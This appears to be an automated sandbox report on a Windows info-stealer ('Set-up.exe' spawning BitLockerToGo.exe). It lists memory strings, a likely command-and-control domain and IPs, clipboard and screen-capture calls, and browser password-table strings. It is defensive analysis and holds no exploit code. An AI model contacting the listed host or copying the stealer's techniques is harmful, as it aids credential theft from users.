Source: BitLockerToGo.exe, 00000003.00000003.2243154545.0000000002FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013582931.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017605076.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013722752.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2031705341.00000000055BB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2015510808.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2059836048.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014153185.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2059888073.0000000003001000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014611842.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2059888073.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017496904.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014217136.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017458425.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013549840.00000000055BD000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/api
Source: BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/apiDl
Source: BitLockerToGo.exe, 00000003.00000003.2059836048.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/jrRk
Source: BitLockerToGo.exe, 00000003.00000003.2059888073.0000000003001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/s
Source: BitLockerToGo.exe, 00000003.00000003.2001315362.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1999810921.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2001283194.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2000698739.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2000859816.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click:443/apiY5TQSm0KLp5oaijuMolkkI5MNATw3Vlk1e/zKbYeQbWoZVIc3f7q/23znR4fapSJ/Bjw
Source: BitLockerToGo.exe, 00000003.00000003.1968727568.0000000005655000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000003.00000003.1987493885.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987738817.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987587471.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968727568.0000000005653000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968939304.0000000005607000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: BitLockerToGo.exe, 00000003.00000003.1968939304.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: BitLockerToGo.exe, 00000003.00000003.1987493885.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987738817.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987587471.0000000005607000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968727568.0000000005653000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968939304.0000000005607000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: BitLockerToGo.exe, 00000003.00000003.1968939304.00000000055E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: BitLockerToGo.exe, 00000003.00000003.2002091032.00000000056D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 84.32.84.20:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00432D70 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00432D70

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00432D70 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00432D70

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00432FE0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00432FE0

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_00D9E0C0 NtWaitForSingleObject,

0_2_00D9E0C0

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D51180	0_2_00D51180
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D6A910	0_2_00D6A910
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D52130	0_2_00D52130
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D512F0	0_2_00D512F0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D5BA30	0_2_00D5BA30
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D4CBF1	0_2_00D4CBF1
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D60480	0_2_00D60480
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D6A4B0	0_2_00D6A4B0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D4B4A0	0_2_00D4B4A0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D47D40	0_2_00D47D40
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D64650	0_2_00D64650
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D58610	0_2_00D58610
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D69610	0_2_00D69610
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D687D0	0_2_00D687D0
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D5074B	0_2_00D5074B
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D66F70	0_2_00D66F70
Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D74720	0_2_00D74720
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00421060	3_2_00421060
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00438860	3_2_00438860
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00426000	3_2_00426000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004229CD	3_2_004229CD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00419362	3_2_00419362
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043FB80	3_2_0043FB80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042238D	3_2_0042238D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043BCE0	3_2_0043BCE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004384F0	3_2_004384F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00440480	3_2_00440480
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00418DF1	3_2_00418DF1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040AD90	3_2_0040AD90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004095A0	3_2_004095A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00408640	3_2_00408640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040D6F8	3_2_0040D6F8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042BE8A	3_2_0042BE8A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00429040	3_2_00429040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00438040	3_2_00438040
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042A050	3_2_0042A050
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00425850	3_2_00425850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00432800	3_2_00432800
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00419820	3_2_00419820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043F0CB	3_2_0043F0CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004038D0	3_2_004038D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004058E0	3_2_004058E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004308E0	3_2_004308E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004088F0	3_2_004088F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040D0FF	3_2_0040D0FF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00415882	3_2_00415882
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040A8A0	3_2_0040A8A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004390A0	3_2_004390A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00409140	3_2_00409140
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041D940	3_2_0041D940
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00416148	3_2_00416148
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00406160	3_2_00406160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00433960	3_2_00433960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042F166	3_2_0042F166
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00415966	3_2_00415966
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00424974	3_2_00424974
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00440130	3_2_00440130
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004111E9	3_2_004111E9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043C1B0	3_2_0043C1B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00426360	3_2_00426360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043F1B0	3_2_0043F1B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041D260	3_2_0041D260
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00423A60	3_2_00423A60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042C26C	3_2_0042C26C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042CA35	3_2_0042CA35
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042CAF1	3_2_0042CAF1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043F2F6	3_2_0043F2F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00404280	3_2_00404280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042C282	3_2_0042C282
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043EA80	3_2_0043EA80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00426340	3_2_00426340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042CB4C	3_2_0042CB4C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00426360	3_2_00426360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041AB00	3_2_0041AB00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00437300	3_2_00437300
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00432B10	3_2_00432B10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043F330	3_2_0043F330
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004073C0	3_2_004073C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00404BC0	3_2_00404BC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043F3C0	3_2_0043F3C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041C3CC	3_2_0041C3CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004393D0	3_2_004393D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00423BE0	3_2_00423BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040EB80	3_2_0040EB80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043F450	3_2_0043F450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00439C70	3_2_00439C70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042847D	3_2_0042847D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00421C80	3_2_00421C80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041DC90	3_2_0041DC90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004274A5	3_2_004274A5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00427CB0	3_2_00427CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00436554	3_2_00436554
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00432D70	3_2_00432D70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040ED75	3_2_0040ED75
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043150E	3_2_0043150E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043C510	3_2_0043C510
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041D530	3_2_0041D530
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00414DC0	3_2_00414DC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00437DE0	3_2_00437DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004065F0	3_2_004065F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042FDF9	3_2_0042FDF9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00436DB2	3_2_00436DB2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041FE7C	3_2_0041FE7C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043FE20	3_2_0043FE20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00402ED0	3_2_00402ED0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0040C6F0	3_2_0040C6F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041DE90	3_2_0041DE90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00418740	3_2_00418740
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00428F6C	3_2_00428F6C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00414777	3_2_00414777
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_004237D0	3_2_004237D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00417FE1	3_2_00417FE1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0041EFE0	3_2_0041EFE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00416F8D	3_2_00416F8D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0042F7BC	3_2_0042F7BC

Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 00D75C20 appears 432 times
Source: C:\Users\user\Desktop\Set-up.exe	Code function: String function: 00D73900 appears 283 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00407EE0 appears 44 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00414110 appears 82 times

Source: Set-up.exe, 00000000.00000002.1949249504.00000000124F8000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs Set-up.exe

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/1@2/4

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00438860 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00438860

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File created: C:\Users\user\AppData\Local\Temp\config

Jump to behavior

Source: Set-up.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Set-up.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000003.1987554476.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987587471.00000000055C3000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1968396524.00000000055E6000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1987534973.00000000055B6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Set-up.exe

ReversingLabs: Detection: 50%

Source: unknown	Process created: C:\Users\user\Desktop\Set-up.exe "C:\Users\user\Desktop\Set-up.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
